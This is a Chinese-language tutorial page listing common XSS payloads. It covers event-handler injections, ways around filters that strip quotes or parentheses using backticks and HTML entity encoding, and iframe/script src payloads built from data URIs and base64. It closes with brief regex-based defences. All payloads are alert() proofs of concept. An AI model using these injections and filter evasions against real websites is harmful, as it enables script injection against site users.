zoukankan      html  css  js  c++  java
  • 常见的XSS攻击代码

    第一类:

    <tag on*=*/>

    在html标签中触发事件

    Example:

    1.加载完毕自动触发事件

    <body onload="alert('xss')"></body>

    2.使html某元素撑满整个页面 

    <p onclick="alert('1')" style="postion:fixed;100%;heith:100%">&nbsp;</p>

    3.增加属性触发事件(使用这个 页面一直弹弹窗,关闭不了)

     <input onfocus="alert('1')" autofocus/>


    特殊字符' 、" 、( 、),如果遇到以上四个字符被过滤的情况,需要通过编码的方式去绕过。

    Example:

    1.不使用 " 

     <input onfocus=alert('1') autofocus/>

    2.不使用 '  

    <input onfocus="alert(/1/)" autofocus/>

    3.不使用 ( )  

    <input onfocus="alert`'1'`" autofocus/>

    4.不使用 ' " ( )

     <input onfocus=alert`1` autofocus/>

    5.使用html实体编码绕过

     <input onfocus="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#49;&#39;&#41;" autofocus/>

    6.使用html实体编码绕过变形 

    <input onfocus="&#97&#108&#101&#114&#116&#40&#39&#49&#39&#41" autofocus/>

    防范方式

    Example:

    1.使用环境允许插入html标签排版的情况下,很常见的就是将html事件熟悉转义为html实体编码字符,当然也可以直接拦截返回404。常见匹配策略 /on[^=]*=/ig

    2.使用环境不允许插入html标签的情况下,不难看出所有的tag前面都紧贴着一个 “ < ” ,所以只需要将 “ < ” 使用html实体编码转换即可。常见匹配策略 /</g

    第二类:<tag src=*/>

    Example:

    1.在iframe标签中加载一个脚本页面

    <iframe src="./alert.html"></iframe>

    2.在script标签中加载一个脚本

     <script src="./alert.js"></script>

    在src属性中可以使用可以直接请求一个外部连接,还可以用Data URI scheme直接嵌入文本

    Example:

    1.在iframe标签中使用Data URI scheme直接嵌入文本

     <iframe src="data:text/html,<script>alert('1')</script>"></iframe>

    2.在script标签中使用Data URI scheme直接嵌入文本 

    <script src="data:text/html,alert('1')"></script>

    使用Data URI scheme直接嵌入文本,比较繁琐,但是这类的好处在于可以使用BASE64编码格式

    Example:

    1.在iframe标签中使用Data URI scheme直接嵌入BASE64编码后的文本

    <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnMScpPC9zY3JpcHQ+"></iframe>

    2.在script标签中使用Data URI scheme直接嵌入BASE64编码后的文本

    <script src="data:text/html;base64,YWxlcnQoJzEnKQ=="></script>

    在该类型的变形中还可以结合第一类的变形使用

    Example:

    1.使用html实体编码URI 

    <script src="&#46;&#47;&#97;&#108;&#101;&#114;&#116;&#46;&#106;&#115;"></script>

    2.使用html实体编码Data URI scheme

     <script src="&#100;&#97;&#116;&#97;&#58;&#116;&#101;&#120;&#116;&#47;&#104;&#116;&#109;&#108;&#44;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#49;&#39;&#41;"></script>

    3.使用html实体编码BASE64编码之后的Data URI scheme

     <script src="&#100;&#97;&#116;&#97;&#58;&#116;&#101;&#120;&#116;&#47;&#104;&#116;&#109;&#108;&#59;&#98;&#97;&#115;&#101;&#54;&#52;&#44;&#89;&#87;&#120;&#108;&#99;&#110;&#81;&#111;&#74;&#122;&#69;&#110;&#75;&#81;&#61;&#61;"></script>
  • 相关阅读:
    由 Rest参数 和 Spread扩展运算符想到的...
    输出数组重复项
    echarts 踩坑记
    es6 Promise.all() 和 Promise.race() 区别
    关于Promise.all
    移动端弹出层平滑滚动和fix定位的冲突
    ES6 数组和字符串
    IE9以下 placeholder兼容
    jQuery设置聚焦并使光标位置在文字最后
    处理GitHub不允许上传大于100M文件问题
  • 原文地址:https://www.cnblogs.com/kaibindirver/p/9410966.html
Copyright © 2011-2022 走看看